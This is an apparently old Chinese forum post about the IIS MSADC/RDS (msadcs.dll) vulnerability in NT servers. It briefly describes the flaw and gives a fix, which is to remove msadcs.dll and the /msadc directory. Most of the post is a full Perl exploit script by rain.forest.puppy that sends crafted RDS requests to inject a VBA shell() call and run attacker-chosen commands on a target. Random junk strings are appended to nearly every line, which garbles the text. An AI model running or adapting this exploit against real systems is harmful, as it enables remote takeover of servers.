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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) g2 uc+p  
-OZRSjmY  
涉及程序: h"KN)xi$  
Microsoft NT server hq/k}Y  
-^8gZk/(W  
描述: 3e"_R  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Tn[DF9;?  
MJ >9[hs  
详细: w,]cFT  
如果你没有时间读详细内容的话,就删除: h2+vl@X  
c:\Program Files\Common Files\System\Msadc\msadcs.dll OWCd$c_(  
有关的安全问题就没有了。 mFOuE5  
GVZ/`^ndM  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 &|xN=U/  
)cB00*/  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ;Gxp'y  
关于利用ODBC远程漏洞的描述,请参看: ;}3wT,=sN  
j& f-yc'i-  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Ul OoMGg  
7ZS 5u+o  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看  N\DEY]  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp .hlr)gF&)  
F<X)eO]tk  
这里不再论述。 !l@IG C  
G@h6>O  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: @! ^c@  
3> -/sii  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset +Tde#T&[  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! WA~|:S+  
` DO`c>>K  
}u5;YNmXxF  
#将下面这段保存为txt文件,然后: "perl -x 文件名" I-4csw<Qy  
b&~rZ  
#!perl e{.2*>pH  
# ( }5k"9Z  
# MSADC/RDS 'usage' (aka exploit) script Ua\g*Cxh  
# <WtX> \]l(  
# by rain.forest.puppy S #%'Vrp  
# L{Epkay,{  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me "P.7FD  
# beta test and find errors! E}mnGe  
c, \TL ]  
use Socket; use Getopt::Std; %FLz}QW*  
getopts("e:vd:h:XR", \%args); vLJ<_&6  
ZU7e1VaZM  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; UL$^zR3%d  
"lx}.  
if (!defined $args{h} && !defined $args{R}) { o\1"ux;b  
print qq~ `Z>4}<~+  
Usage: msadc.pl -h <host> { -d <delay> -X -v } :}FMauHh  
-h <host> = host you want to scan (ip or domain) $jo}?Y+  
-d <seconds> = delay between calls, default 1 second N \[Cuh8Fe  
-X = dump Index Server path table, if available Pe!uk4}w  
-v = verbose SoS[yr  
-e = external dictionary file for step 5 %#2[3N{  
J:)Q)MT24:  
Or a -R will resume a command session -7TT6+H)  
lMB^/-Y  
~; exit;} q0jzng  
Z%6I$KAN8  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 'y}l9alF  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} xKEHN gen  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} tn+i5Eso  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); A5z`_b4f  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} K=M5d^K<E  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } NtkEb :  
.<^dv?@  
if (!defined $args{R}){ $ret = &has_msadc; ;" '` P[  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 8#2PJHl;  
.1 .n{4z>:  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ]zmY] 5  
. "cmd /c "; ?o$6w(]''  
$in=<STDIN>; chomp $in; zGj0'!!-  
$command="cmd /c " . $in ; m[!t7e  
ueDG1)  
if (defined $args{R}) {&load; exit;} Ti#2D3  
)MHvuk:I)  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; L,p5:EW8.  
&try_btcustmr; 2TmQaDu%b  
]Hc `<P  
print "\nStep 2: Trying to make our own DSN..."; D@!`b6  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; `n Y!nh6!  
gsGwf[XdJ  
print "\nStep 3: Trying known DSNs..."; AVGb;)x#  
&known_dsn; l131^48U  
Z<;<!+,  
print "\nStep 4: Trying known .mdbs..."; +IK~a9t  
&known_mdb; _S{HVc  
hdQ[=PH)  
if (defined $args{e}){ ~4.Tq{  
print "\nStep 5: Trying dictionary of DSN names..."; %L=ro qz  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 320Wm)u>:  
=7e~L 3 K  
print "Sorry Charley...maybe next time?\n"; ':R)i.TS  
exit; p )etl5  
QK&<im-  
############################################################################## eA$9)K1GO  
iS&fp[Th  
sub sendraw { # ripped and modded from whisker <@.f#  
sleep($delay); # it's a DoS on the server! At least on mine... eVjr/nm  
my ($pstr)=@_; l"*qj#FD  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || QY8I_VF  
die("Socket problems\n"); 67+ K ?!,  
if(connect(S,pack "SnA4x8",2,80,$target)){ 1 ?]Gl+}  
select(S); $|=1; 2/ PaXI/Z  
print $pstr; my @in=<S>; _Xlf}BE  
select(STDOUT); close(S); _&D I_'5q+  
return @in; c|X.&<lX  
} else { die("Can't connect...\n"); }} 8b8ui  
eG72=l)Mz  
############################################################################## 8c3`IIzAS  
"pa5+N&2-  
sub make_header { # make the HTTP request kpsus \T  
my $msadc=<<EOT cR[)[9}  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1  e-sMU  
User-Agent: ACTIVEDATA hzg&OW=:  
Host: $ip ,}2M'DSWa  
Content-Length: $clen Q1mz~r  
Connection: Keep-Alive ld -c?  
"[L[*>[9!  
ADCClientVersion:01.06 \om$%FUP  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 k|F<?:C  
.t.H(Q9  
--!ADM!ROX!YOUR!WORLD! ;hA>?o_i(  
Content-Type: application/x-varg \9geDX9A  
Content-Length: $reqlen ,'v]U@WK  
iK#5HW{  
EOT (5]<t&M  
; $msadc=~s/\n/\r\n/g; 'b]GcAL  
return $msadc;} {'l^{"GO"  
-^=gQ7f9  
############################################################################## 0V`s 3,k  
<%#M&9d)E  
sub make_req { # make the RDS request q+.DZ @  
my ($switch, $p1, $p2)=@_; 9eo$Duws  
my $req=""; my $t1, $t2, $query, $dsn; 3+@p  
|GM?4'2M.  
if ($switch==1){ # this is the btcustmr.mdb query Z)<ljW  
$query="Select * from Customers where City=" . make_shell(); sDTCV8"w  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . GKu@8Ol-wu  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} }OZ%U2PU  
6Db1mvSe  
elsif ($switch==2){ # this is general make table query @(Wx(3JR?}  
$query="create table AZZ (B int, C varchar(10))"; {Lwgj7|~  
$dsn="$p1";} !*HH5qh6  
lCLz!k2di  
elsif ($switch==3){ # this is general exploit table query N`1:U 4}  
$query="select * from AZZ where C=" . make_shell(); dnTB$8&  
$dsn="$p1";} FPE[}  
D+lzISp~e  
elsif ($switch==4){ # attempt to hork file info from index server G7yCGT)vQ  
$query="select path from scope()"; ~KHGh29  
$dsn="Provider=MSIDXS;";} .Qm"iOyM  
_W'>?e0i  
elsif ($switch==5){ # bad query td%]l1  
$query="select"; |b7 v(Hx  
$dsn="$p1";} ];i-d7C  
3TVp oB`  
$t1= make_unicode($query); @]P#]%^D2  
$t2= make_unicode($dsn); u&yAMWl  
$req = "\x02\x00\x03\x00"; :IlRn`9X`  
$req.= "\x08\x00" . pack ("S1", length($t1)); {G&*\5W  
$req.= "\x00\x00" . $t1 ; bRT1~)  
$req.= "\x08\x00" . pack ("S1", length($t2)); :@x24wN/  
$req.= "\x00\x00" . $t2 ; 9g3e( z@  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Tj7OV}:  
return $req;} |TL&#U  
F^.w:ad9<  
############################################################################## 8dgI&t  
mz$)80ly  
sub make_shell { # this makes the shell() statement d2`m0U  
return "'|shell(\"$command\")|'";} *@/1]W  
nJ'FH['  
############################################################################## aNLRUdc.  
/.B7y(  
sub make_unicode { # quick little function to convert to unicode .RF ijr  
my ($in)=@_; my $out; s\2t|d   
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } )d5H v2/0  
return $out;} jkCa2!WQ'i  
CeQL8yJ;  
############################################################################## Br^4N9  
lz=$Dz  
sub rdo_success { # checks for RDO return success (this is kludge) 0?OTa<c  
my (@in) = @_; my $base=content_start(@in);  gP%S{<.?  
if($in[$base]=~/multipart\/mixed/){ {=mf/3.r  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} <%w)EQf4m  
return 0;} f$#--*  
S. my" j  
############################################################################## c6/+Ye =h  
cV^r_E\m  
sub make_dsn { # this makes a DSN for us 6[ }~m\cY  
my @drives=("c","d","e","f"); r9nH6 Md\  
print "\nMaking DSN: "; ,dn6z#pb+  
foreach $drive (@drives) { !qGER.  
print "$drive: "; 4@ EY+p  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . eaLR-+vEB  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" (ndXz  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); u'Ja9m1  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 3h t>eaHi  
return 0 if $2 eq "404"; # not found/doesn't exist n^vL9n_N  
if($2 eq "200") { S:!gj2q9|  
foreach $line (@results) { ]+d.X]   
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} @2kt6 W  
} return 0;} >:KPvq!0  
dRas9g  
############################################################################## B6OggJ9Iq  
0y2iS' t  
sub verify_exists { AkT_ZU>  
my ($page)=@_; w}oH]jVKL6  
my @results=sendraw("GET $page HTTP/1.0\n\n"); TX*s T  
return $results[0];} {3 zq.e{  
EC?!%iO`  
############################################################################## sL+/Eeb` c  
J cvK]x  
sub try_btcustmr { gLd3,$ Ei  
my @drives=("c","d","e","f"); J=zh+oLCV  
my @dirs=("winnt","winnt35","winnt351","win","windows"); e?RHf_d3T-  
1u)I}"{W>  
foreach $dir (@dirs) { b3y@!_'c  
print "$dir -> "; # fun status so you can see progress ]*I&104{  
foreach $drive (@drives) { QP[w{T  
print "$drive: "; # ditto CNf eHMT  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Jq/([  
$reqlenlen=length( "$reqlen" ); vTP'\^;  
$clen= 206 + $reqlenlen + $reqlen; B5J=q("P  
#sAEIk/  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); j Dy  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} .VTHZvyn  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} a8A8?:  
!oM 1  
############################################################################## }3M\&}=8  
&d9";V"E  
sub odbc_error { F0Rk[GM  
my (@in)=@_; my $base; AR/`]"'  
my $base = content_start(@in); z4_>6sf{  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this <7?MutHM-  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !3?HpR/nV  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >E[cl\5$E  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6M259*ME  
return $in[$base+4].$in[$base+5].$in[$base+6];} %hcY [F<  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; M0"xDvQ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . -zG/@.  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} "mHSbG  
pkBmAJb@  
############################################################################## a?\ Au  
V4ayewVX  
sub verbose { Gi Zy C  
my ($in)=@_; +r4^oT[-  
return if !$verbose; GZ*cV3Y`&  
print STDOUT "\n$in\n";} Q6"r^w Wx  
I9k o*f  
############################################################################## b[$l{RQ[?  
bBC3% H^  
sub save { 3ef]3  
my ($p1, $p2, $p3, $p4)=@_; 8;Yx a8ie  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; pPeS4$Y  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; F4Z+)'oDr,  
close OUT;} LUw0MW(Moi  
~{RXc+  
############################################################################## [fO \1J  
>`8i=ZpCOS  
sub load { $6BXoh!  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; H-^>Co_  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); G#3 O^,m  
@p=<IN>; close(IN); ewY+a , t  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); U6n%rdXJ=  
$target= inet_aton($ip) || die("inet_aton problems"); vSPkm)O0)  
print "Resuming to $ip ..."; /m.6NVu7  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; W@#)8];>  
if($p[1]==1) { krI<'m;a  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; u= !?<Q  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; W[w8@OCNf  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));  h ej  
if (rdo_success(@results)){print "Success!\n";} 1r|'n aiZ  
else { print "failed\n"; verbose(odbc_error(@results));}} oT%~)g  
elsif ($p[1]==3){ |brl<*:  
if(run_query("$p[3]")){ rjx6Ad/\  
print "Success!\n";} else { print "failed\n"; }} v#nYH?+~mJ  
elsif ($p[1]==4){ 4~DFtWbf  
if(run_query($drvst . "$p[3]")){ ^hRos  
print "Success!\n"; } else { print "failed\n"; }} wUW+S5"K  
exit;} b2r@vZ]D  
&37QUdp+p  
############################################################################## 7p@qzE  
:a[L-lr`e  
sub create_table { W?5^cEF  
my ($in)=@_; f9X*bEl9;`  
$reqlen=length( make_req(2,$in,"") ) - 28; :TX!lbCq  
$reqlenlen=length( "$reqlen" ); )TBBYCL3  
$clen= 206 + $reqlenlen + $reqlen; .E"hsGH9h  
my @results=sendraw(make_header() . make_req(2,$in,"")); gGH<%nHW1  
return 1 if rdo_success(@results); Mw*R~OX  
my $temp= odbc_error(@results); verbose($temp); 1^b-J0  
return 1 if $temp=~/Table 'AZZ' already exists/; 11Pm lzy  
return 0;} q.g<gu]  
E+]gC  
############################################################################## ZG H2  
 Fp'k{  
sub known_dsn { pg [F{T<  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go gle_~es'K  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", E,>/6AU  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", R'uM7,7  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); q6%jCt2'  
D42Bm&JocO  
foreach $dSn (@dsns) { #Bj.#5  
print "."; ~?H _?}e  
next if (!is_access("DSN=$dSn")); ~(~fuDT~O  
if(create_table("DSN=$dSn")){ =*~]lz__M  
print "$dSn successful\n"; B|/=E470G  
if(run_query("DSN=$dSn")){ cX 9 !a,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4 B"tz!  
print "Something's borked. Use verbose next time\n";}}} print "\n";} vxzh|uF  
nX7{09  
############################################################################## %D)W~q-g  
-WWa`,:  
sub is_access { '+hiCX-_  
my ($in)=@_; t5\~Z}G8  
$reqlen=length( make_req(5,$in,"") ) - 28; Q"h/o"-h  
$reqlenlen=length( "$reqlen" ); 2,{m>fF  
$clen= 206 + $reqlenlen + $reqlen; ypSW9n  
my @results=sendraw(make_header() . make_req(5,$in,"")); 1(CpTaa  
my $temp= odbc_error(@results); WV]Si2pOZ  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); <7~HG(ks  
return 0;} U,_uy@fE=?  
ps\A\aggML  
############################################################################## _?x*F?5=  
b%IRIi&,  
sub run_query { m-xSF]q=<  
my ($in)=@_; PO%Z.ol9  
$reqlen=length( make_req(3,$in,"") ) - 28; zYvf}L&]h  
$reqlenlen=length( "$reqlen" ); U3}r.9/  
$clen= 206 + $reqlenlen + $reqlen; H~Xi;[{7  
my @results=sendraw(make_header() . make_req(3,$in,"")); swss#?.se  
return 1 if rdo_success(@results); y'?ksow  
my $temp= odbc_error(@results); verbose($temp); Q=}p P*  
return 0;} d9^ uEz(  
] ?w hx &+  
############################################################################## V^Z"FwWk  
TcPYDAa  
sub known_mdb { 9+k7x,  
my @drives=("c","d","e","f","g"); vq-Tq>  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [xe(FFl+  
my $dir, $drive, $mdb; g <S&sYF5  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; L  #c*)  
1S/KT4  
# this is sparse, because I don't know of many #EQwl6  
my @sysmdbs=( "\\catroot\\icatalog.mdb", u/-u l  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", b+bgGLo  
"\\system32\\certmdb.mdb", 3WZdP[o!  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ZV=O oL t,  
1$2'N~`#U  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", dtD)VNkBZ  
"\\cfusion\\cfapps\\forums\\forums_.mdb", e"Kg/*Ji1  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", `a2%U/U  
"\\cfusion\\cfapps\\security\\realm_.mdb", SIQ7oxS4  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", q$6fb)2I]e  
"\\cfusion\\database\\cfexamples.mdb", "Qj;pqR  
"\\cfusion\\database\\cfsnippets.mdb", r%QTUuRXC3  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", In<L?U?([D  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", sH(@X<{p  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Q}zAC2@L  
"\\cfusion\\database\\smpolicy.mdb", /UtCJMQ  
"\\cfusion\\database\cypress.mdb", p B*8D  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", !A!}j.s  
"\\website\\cgi-win\\dbsample.mdb", Z Z|a`U  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", @Cg%7AF  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" "5:^aC]  
); #these are just GG@GjP<_  
foreach $drive (@drives) { fl%X>\i/7  
foreach $dir (@dirs){ !ZlBM{C  
foreach $mdb (@sysmdbs) { rV;X1x}l  
print "."; O1!hSu&  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ n3Uw6gLD  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; G>"=Af(t?Y  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ eFJ .)Z  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; c4H5[LPF  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 5~)m6]-6  
7:iTx;,v  
foreach $drive (@drives) { 9HJrMX  
foreach $mdb (@mdbs) { a ^wGc+  
print "."; v w(X9xa  
if(create_table($drv . $drive . $dir . $mdb)){ 3 ,;;C(  
print "\n" . $drive . $dir . $mdb . " successful\n"; JAEn 72  
if(run_query($drv . $drive . $dir . $mdb)){ ]rk8Jsg  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; LcL|'S)  
} else { print "Something's borked. Use verbose next time\n"; }}}} ~\HGV+S!g}  
} Jw"fqr  
Q[sj/  
############################################################################## Z|l/6L8  
J4Yu|E<&  
sub hork_idx { IXQxjqd^  
print "\nAttempting to dump Index Server tables...\n"; i|M^QKvF  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; NmbA~i  
$reqlen=length( make_req(4,"","") ) - 28; vxN,oa{hf  
$reqlenlen=length( "$reqlen" ); p@`]9tLP(K  
$clen= 206 + $reqlenlen + $reqlen; Zw4z`x1f  
my @results=sendraw2(make_header() . make_req(4,"","")); B+)HDIPa-  
if (rdo_success(@results)){ G_m$W3 zS  
my $max=@results; my $c; my %d; m[l[yUw#  
for($c=19; $c<$max; $c++){ |t<Uh,Bt  
$results[$c]=~s/\x00//g; *SP@`)\D  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Eu;f~ V  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; kF,_o/Jc  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; {c|{okQ;Q  
$d{"$1$2"}="";} CSu}_$wC#  
foreach $c (keys %d){ print "$c\n"; } QV&yVH=Xs  
} else {print "Index server doesn't seem to be installed.\n"; }} e#{,M8  
?7?hDw_Nk  
############################################################################## IhRWa|{I  
5}v<?<l9\  
sub dsn_dict { TDqH"q0  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); u( kacQ7  
while(<IN>){ 8 16OV  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; YoU|)6Of   
next if (!is_access("DSN=$dSn")); ^/`W0kT  
if(create_table("DSN=$dSn")){ qHQWiu% h  
print "$dSn successful\n"; 0<^!<i(%  
if(run_query("DSN=$dSn")){ ]?1n-w.}r  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { B:?MMXB  
print "Something's borked. Use verbose next time\n";}}} SAQ|1I#"/  
print "\n"; close(IN);} Ja`xG{~Y7i  
SO!|wag$  
############################################################################## z+~klv 3  
Y<vHL<G  
sub sendraw2 { # ripped and modded from whisker \7\7i-Vo  
sleep($delay); # it's a DoS on the server! At least on mine... ZUg ~8VVe  
my ($pstr)=@_; BSyl!>G6n8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || sFrerv&0  
die("Socket problems\n"); 78u9> H  
if(connect(S,pack "SnA4x8",2,80,$target)){ vGST{Lz;  
print "Connected. Getting data"; tjId?}\  
open(OUT,">raw.out"); my @in; jeu|9{iTVu  
select(S); $|=1; print $pstr; KFuP gp  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} e]!`Cl-f80  
close(OUT); select(STDOUT); close(S); return @in; (H[ .\O-`  
} else { die("Can't connect...\n"); }} To!` T$Xh  
g##yR/L  
############################################################################## QT<\E`v  
kM JA#{<  
sub content_start { # this will take in the server headers J^y}3ON  
my (@in)=@_; my $c; zn3]vU!  
for ($c=1;$c<500;$c++) { 9!>Ks8'.d  
if($in[$c] =~/^\x0d\x0a/){ R5b!Ao  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } C" 2K U*  
else { return $c+1; }}} .Xm?tC<   
return -1;} # it should never get here actually <_8p6{=  
<aR sogu"P  
############################################################################## .Xcf *$.;s  
\r5L7y$9 h  
sub funky { YLU.]UC  
my (@in)=@_; my $error=odbc_error(@in); `z!6zo2d  
if($error=~/ADO could not find the specified provider/){ x^XP<R{D  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; `=.A]) >  
exit;} .Z9{\tj  
if($error=~/A Handler is required/){ ny'wS  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^U.t5jj  
exit;} x1'4njTV$  
if($error=~/specified Handler has denied Access/){ K2@],E?e%|  
print "\nServer has custom handler filters (they most likely are patched)\n"; 0/4"Jh$t  
exit;}} 2,^ U8/  
$MYAYj9r)  
############################################################################## }J0HEpn4  
tW[dJKw  
sub has_msadc { 87p tab@  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); .*~t2 :  
my $base=content_start(@results); sz@Y$<o  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ,w|Or}h]7  
return 0;} m> YjV>5  
mhv ;pM6  
######################## =>Q$S  
-A(]U"@n  
MY>*F[~ 2  
解决方案: CYn56eRK  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 1F]jy  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ]r@CmwC  
`+]e}*7$f  
拿出来充数 哈哈
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